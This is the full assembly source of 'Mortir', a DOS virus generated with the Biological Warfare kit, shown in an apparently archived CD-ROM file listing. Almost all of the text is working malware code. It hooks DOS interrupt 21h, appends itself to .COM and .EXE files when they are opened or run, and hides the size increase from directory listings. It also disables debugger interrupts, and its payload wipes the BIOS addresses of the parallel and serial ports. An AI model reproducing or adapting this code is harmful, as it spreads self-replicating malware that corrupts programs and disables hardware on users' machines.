home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / MORTIR.ASM < prev    next >
Assembly Source File  |  1996-04-27  |  16KB  |  471 lines

  1. ; mortir.asm : Mortir - le virus de francais
  2. ; Created with Biological Warfare - Version 0.90ß by MnemoniX
  3.  
  4. PING            equ     0D8FAh
  5. PONG            equ     0F2BEh
  6. STAMP           equ     17
  7. MARKER          equ     06971h
  8.  
  9. code            segment
  10.                 org     0
  11.                 assume  cs:code,ds:code
  12.  
  13. start:
  14.                 db      0E9h,3,0          ; to virus
  15. host:
  16.                 db      0CDh,20h,0        ; host program
  17. virus_begin:
  18.                 push    ds es
  19.  
  20.                 call    $ + 3             ; BP is instruction ptr.
  21.                 pop     bp
  22.                 sub     bp,offset $ - 1
  23.  
  24.                 xor     ax,ax             ; mild anti-trace code
  25.                 mov     es,ax             ; kill interrupts 1 & 3
  26.                 mov     di,6
  27.                 stosw
  28.                 mov     di,14
  29.                 stosw
  30.  
  31.                 in      al,21h            ; lock out & reopen keyboard
  32.                 xor     al,2
  33.                 out     21h,al
  34.                 xor     al,2
  35.                 out     21h,al
  36.  
  37.                 mov     ax,PING           ; test for residency
  38.                 int     21h
  39.                 cmp     bx,PONG
  40.                 je      installed
  41.  
  42.                 mov     ax,es                   ; Get PSP
  43.                 dec     ax
  44.                 mov     ds,ax                   ; Get MCB
  45.  
  46.                 sub     word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
  47.                 sub     word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
  48.                 mov     es,word ptr ds:[12h]
  49.  
  50.                 push    cs                      ; copy virus into memory
  51.                 pop     ds
  52.                 xor     di,di
  53.                 mov     si,bp
  54.                 mov     cx,(virus_end - start) / 2 + 1
  55.                 rep     movsw
  56.  
  57.                 xor     ax,ax                   ; capture interrupts
  58.                 mov     ds,ax
  59.  
  60.                 mov     si,21h * 4              ; get original int 21
  61.                 mov     di,offset old_int_21
  62.                 movsw
  63.                 movsw
  64.  
  65.                 mov     word ptr ds:[si - 4],offset new_int_21
  66.                 mov     ds:[si - 2],es          ; and set new int 21
  67.  
  68. installed:
  69.                 call    activate                ; activation routine
  70.  
  71.                 pop     es ds                   ; restore segregs
  72.                 cmp     sp,MARKER               ; check for .EXE
  73.                 je      exe_exit
  74.  
  75. com_exit:
  76.                 lea     si,[bp + host]          ; restore host program
  77.                 mov     di,100h
  78.                 push    di
  79.                 movsw
  80.                 movsb
  81.  
  82.                 call    fix_regs                ; fix up registers
  83.                 ret                             ; and leave
  84. exe_exit:
  85.                 mov     ax,ds                   ; fix up return address
  86.                 add     ax,10h
  87.                 push    ax
  88.                 add     ax,cs:[bp + exe_cs]
  89.                 mov     cs:[bp + return_cs],ax
  90.  
  91.                 mov     ax,cs:[bp + exe_ip]
  92.                 mov     cs:[bp + return_ip],ax
  93.  
  94.                 pop     ax
  95.                 add     ax,cs:[bp + exe_ss]        ; restore stack
  96.                 cli
  97.                 mov     ss,ax
  98.                 mov     sp,cs:[bp + exe_sp]
  99.  
  100.                 call    fix_regs                ; fix up registers
  101.                 sti
  102.  
  103.                 db      0EAh                    ; back to host program
  104. return_ip       dw      0
  105. return_cs       dw      0
  106.  
  107. exe_cs          dw      -16                     ; orig CS:IP
  108. exe_ip          dw      103h
  109. exe_sp          dw      -2                      ; orig SS:SP
  110. exe_ss          dw      -16
  111.  
  112. fix_regs:
  113.                 xor     ax,ax
  114.                 cwd
  115.                 xor     bx,bx
  116.                 mov     si,100h
  117.                 xor     di,di
  118.                 xor     bp,bp
  119.                 ret
  120.  
  121. ; interrupt 21 handler
  122. int_21:
  123.                 pushf
  124.                 call    dword ptr cs:[old_int_21]
  125.                 ret
  126.  
  127. new_int_21:
  128.                 cmp     ax,PING                 ; residency test
  129.                 je      ping_pong
  130.                 cmp     ah,11h                  ; directory stealth
  131.                 je      dir_stealth
  132.                 cmp     ah,12h
  133.                 je      dir_stealth
  134.                 cmp     ah,4Eh                  ; directory stealth
  135.                 je      dir_stealth_2
  136.                 cmp     ah,4Fh
  137.                 je      dir_stealth_2
  138.                 cmp     ah,3Dh                  ; file open
  139.                 je      file_open
  140.                 cmp     ax,4B00h                ; execute program
  141.                 jne     int_21_exit
  142.                 jmp     execute
  143. int_21_exit:
  144.                 db      0EAh                    ; never mind ...
  145. old_int_21      dd      0
  146.  
  147. ping_pong:
  148.                 mov     bx,PONG
  149.                 iret
  150.  
  151. dir_stealth:
  152.                 call    int_21                  ; get dir entry
  153.                 test    al,al
  154.                 js      dir_stealth_done
  155.  
  156.                 push    ax bx es
  157.                 mov     ah,2Fh
  158.                 int     21h
  159.  
  160.                 cmp     byte ptr es:[bx],-1     ; check for extended FCB
  161.                 jne     no_ext_FCB
  162.                 add     bx,7
  163. no_ext_FCB:
  164.                 mov     ax,es:[bx + 17h]        ; check for infection marker
  165.                 and     al,31
  166.                 cmp     al,STAMP
  167.                 jne     dir_fixed
  168.  
  169.                 sub     word ptr es:[bx + 1Dh],VIRUS_SIZE + 3
  170.                 sbb     word ptr es:[bx + 1Fh],0
  171. dir_fixed:
  172.                 pop     es bx ax
  173. dir_stealth_done:
  174.                 iret
  175.  
  176. dir_stealth_2:
  177.                 pushf
  178.                 call    dword ptr cs:[old_int_21]
  179.                 jc      dir_stealth_done_2
  180.  
  181. check_infect2:
  182.                 push    ax bx es
  183.  
  184.                 mov     ah,2Fh
  185.                 int     21h
  186.                 mov     ax,es:[bx + 16h]
  187.                 and     al,31                   ; check timestamp
  188.                 cmp     al,STAMP
  189.                 jne     fixed_2
  190.  
  191.                 sub     es:[bx + 1Ah],VIRUS_SIZE + 3
  192.                 sbb     word ptr es:[bx + 1Ch],0
  193.  
  194. fixed_2:
  195.                 pop     es bx ax
  196.                 clc                             ; clear carry
  197. dir_stealth_done_2:
  198.                 retf    2
  199.  
  200. file_open:
  201.                 push    ax cx di es
  202.                 call    get_extension
  203.                 cmp     [di],'OC'               ; .COM file?
  204.                 jne     perhaps_exe             ; perhaps .EXE then
  205.                 cmp     byte ptr [di + 2],'M'
  206.                 jne     not_prog
  207.                 jmp     a_program
  208. perhaps_exe:
  209.                 cmp     [di],'XE'               ; .EXE file?
  210.                 jne     not_prog
  211.                 cmp     byte ptr [di + 2],'E'
  212.                 jne     not_prog
  213. a_program:
  214.                 pop     es di cx ax
  215.                 jmp     execute                 ; infect file
  216. not_prog:
  217.                 pop     es di cx ax
  218.                 jmp     int_21_exit
  219.  
  220. execute:
  221.                 push    ax bx cx dx si di ds es
  222.  
  223.                 call    get_extension           ; check filename
  224.                 cmp     es:[di - 3],'DN'        ; skip if COMMAND
  225.                 jne     open_file
  226.                 jmp     cant_open
  227.  
  228. open_file:
  229.                 xor     ax,ax                   ; critical error handler
  230.                 mov     es,ax                   ; routine - catch int 24
  231.                 mov     es:[24h * 4],offset int_24
  232.                 mov     es:[24h * 4 + 2],cs
  233.  
  234.                 mov     ax,4300h                ; change attributes
  235.                 int     21h
  236.  
  237.                 push    cx dx ds
  238.                 xor     cx,cx
  239.                 call    set_attributes
  240.  
  241.                 mov     ax,3D02h                ; open file
  242.                 call    int_21
  243.                 jc      cant_open
  244.                 xchg    bx,ax
  245.  
  246.                 push    cs                      ; CS = DS
  247.                 pop     ds
  248.  
  249.                 mov     ax,5700h                ; save file date/time
  250.                 int     21h
  251.                 push    cx dx
  252.                 mov     ah,3Fh
  253.                 mov     cx,28
  254.                 mov     dx,offset read_buffer
  255.                 int     21h
  256.  
  257.                 cmp     word ptr read_buffer,'ZM' ; .EXE?
  258.                 je      infect_exe              ; yes, infect as .EXE
  259.  
  260.                 mov     al,2                    ; move to end of file
  261.                 call    move_file_ptr
  262.  
  263.                 cmp     dx,65279 - (VIRUS_SIZE + 3)
  264.                 ja      dont_infect             ; too big, don't infect
  265.  
  266.                 sub     dx,VIRUS_SIZE + 3       ; check for previous infection
  267.                 cmp     dx,word ptr read_buffer + 1
  268.                 je      dont_infect
  269.  
  270.                 add     dx,VIRUS_SIZE + 3
  271.                 mov     word ptr new_jump + 1,dx
  272.  
  273.                 mov     dx,offset read_buffer   ; save original program head
  274.                 int     21h
  275.  
  276.                 mov     ah,40h                  ; write virus to file
  277.                 mov     cx,VIRUS_SIZE
  278.                 mov     dx,offset virus_begin
  279.                 int     21h
  280.  
  281.                 xor     al,al                   ; back to beginning of file
  282.                 call    move_file_ptr
  283.  
  284.                 mov     dx,offset new_jump      ; and write new jump
  285.                 int     21h
  286.  
  287. fix_date_time:
  288.                 pop     dx cx
  289.                 and     cl,-32                  ; add time stamp
  290.                 or      cl,STAMP
  291.                 mov     ax,5701h                ; restore file date/time
  292.                 int     21h
  293.  
  294. close:
  295.                 pop     ds dx cx                ; restore attributes
  296.                 call    set_attributes
  297.  
  298.                 mov     ah,3Eh                  ; close file
  299.                 int     21h
  300.  
  301. cant_open:
  302.                 pop     es ds di si dx cx bx ax
  303.                 jmp     int_21_exit             ; leave
  304.  
  305.  
  306. set_attributes:
  307.                 mov     ax,4301h
  308.                 int     21h
  309.                 ret
  310.  
  311. dont_infect:
  312.                 pop     cx dx                   ; can't infect, skip
  313.                 jmp     close
  314.  
  315. move_file_ptr:
  316.                 mov     ah,42h                  ; move file pointer
  317.                 cwd
  318.                 xor     cx,cx
  319.                 int     21h
  320.  
  321.                 mov     dx,ax                   ; set up registers
  322.                 mov     ah,40h
  323.                 mov     cx,3
  324.                 ret
  325. infect_exe:
  326.                 cmp     word ptr read_buffer[26],0
  327.                 jne     dont_infect             ; overlay, don't infect
  328.  
  329.                 cmp     word ptr read_buffer[16],MARKER
  330.                 je      dont_infect             ; infected already
  331.  
  332.                 les     ax,dword ptr read_buffer[20]
  333.                 mov     exe_cs,es               ; CS
  334.                 mov     exe_ip,ax               ; IP
  335.  
  336.                 les     ax,dword ptr read_buffer[14]
  337.                 mov     exe_ss,ax               ; SS
  338.                 mov     exe_sp,es               ; SP
  339.                 mov     word ptr read_buffer[16],MARKER
  340.  
  341.                 mov     ax,4202h                ; to end of file
  342.                 cwd
  343.                 xor     cx,cx
  344.                 int     21h
  345.  
  346.                 push    ax dx                   ; save file size
  347.  
  348.                 push    bx
  349.                 mov     cl,12                   ; calculate offsets for CS
  350.                 shl     dx,cl                   ; and IP
  351.                 mov     bx,ax
  352.                 mov     cl,4
  353.                 shr     bx,cl
  354.                 add     dx,bx
  355.                 and     ax,15
  356.                 pop     bx
  357.  
  358.                 sub     dx,word ptr read_buffer[8]
  359.                 mov     word ptr read_buffer[22],dx
  360.                 mov     word ptr read_buffer[20],ax
  361.                 add     dx,100
  362.                 mov     word ptr read_buffer[14],dx
  363.  
  364.                 pop     dx ax                   ; calculate prog size
  365.  
  366.                 add     ax,VIRUS_SIZE + 3
  367.                 adc     dx,0
  368.                 mov     cx,512                  ; in pages
  369.                 div     cx                      ; then save results
  370.                 inc     ax
  371.                 mov     word ptr read_buffer[2],dx
  372.                 mov     word ptr read_buffer[4],ax
  373.  
  374.                 mov     ah,40h
  375.                 mov     cx,VIRUS_SIZE + 3
  376.                 mov     dx,offset virus_begin
  377.                 int     21h
  378.  
  379.  
  380.                 mov     ax,4200h                ; back to beginning
  381.                 cwd
  382.                 xor     cx,cx
  383.                 int     21h
  384.  
  385.                 mov     ah,40h                  ; and fix up header
  386.                 mov     cx,28
  387.                 mov     dx,offset read_buffer
  388.                 int     21h
  389.                 jmp     fix_date_time           ; done
  390.  
  391. courtesy_of     db      '[BW]',0
  392. signature       db      'Mortir - le virus de francais',0
  393.  
  394.  
  395. ; **********************
  396. ; * Activation Routine *        ; Disables LPT1-4 and COM1-4
  397. ; **********************        ; The actual viral payload!
  398.  
  399. activate:
  400. main            proc    near
  401.                 mov     si,0001h                ; First argument is 1
  402.                 call    disable_parallel
  403.                 mov     si,0002h                ; First argument is 2
  404.                 call    disable_parallel
  405.                 mov     si,0003h                ; First argument is 3
  406.                 call    disable_parallel
  407.                 mov     si,0004h                ; First argument is 4
  408.                 call    disable_parallel
  409.                 mov     si,0001h                ; First argument is 1
  410.                 call    disable_serial
  411.                 mov     si,0002h                ; First argument is 2
  412.                 call    disable_serial
  413.                 mov     si,0003h                ; First argument is 3
  414.                 call    disable_serial
  415.                 mov     si,0004h                ; First argument is 4
  416.                 call    disable_serial
  417.  
  418. main            endp
  419.  
  420. disable_parallel proc    near
  421.                 push    es                      ; Save ES
  422.                 xor     ax,ax                   ; Set the extra segment to
  423.                 mov     es,ax                   ; zero (ROM BIOS)
  424.                 shl     si,1                    ; Convert to word index
  425.                 mov     word ptr [si + 0407h],0 ; Zero LPT port address
  426.                 pop     es                      ; Restore ES
  427.                 ret                             ; Return to caller
  428. disable_parallel endp
  429.  
  430. disable_serial  proc    near
  431.                 push    es                      ; Save ES
  432.                 xor     ax,ax                   ; Set the extra segment to
  433.                 mov     es,ax                   ; zero (ROM BIOS)
  434.                 shl     si,1                    ; Convert to word index
  435.                 mov     word ptr [si + 03FEh],0 ; Zero COM port address
  436.                 pop     es                      ; Restore ES
  437.                 ret                             ; Return to caller
  438. disable_serial  endp
  439.  
  440. vcl_marker      db      "[VCL]",0               ; VCL creation marker
  441.  
  442.                 ret                             ; Return to Mortir code
  443.  
  444. ; **************************
  445. ; * End of Activation Code *
  446. ; **************************
  447.  
  448. get_extension:
  449.                 push    ds                      ; find extension
  450.                 pop     es
  451.                 mov     di,dx
  452.                 mov     cx,64
  453.                 mov     al,'.'
  454.                 repnz   scasb
  455.                 ret
  456. int_24:
  457.                 mov     al,3                    ; int 24 handler
  458.                 iret
  459. new_jump        db      0E9h,0,0
  460.  
  461. virus_end:
  462. VIRUS_SIZE      equ     virus_end - virus_begin
  463. read_buffer     db      28 dup (?)              ; read buffer
  464.  
  465. end_heap:
  466.  
  467. MEM_SIZE        equ     end_heap - start
  468.  
  469. code            ends
  470.                 end     start
  471.